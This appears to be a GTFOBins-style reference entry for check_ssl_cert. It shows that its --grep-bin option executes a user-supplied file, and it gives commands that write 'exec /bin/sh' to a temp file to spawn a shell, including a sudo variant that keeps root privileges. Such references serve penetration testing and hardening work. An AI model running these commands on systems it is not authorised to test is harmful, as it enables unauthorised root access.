This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
chmod +x /path/to/temp-file
check_ssl_cert --grep-bin /path/to/temp-file -H x
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
chmod +x /path/to/temp-file
check_ssl_cert --grep-bin /path/to/temp-file -H x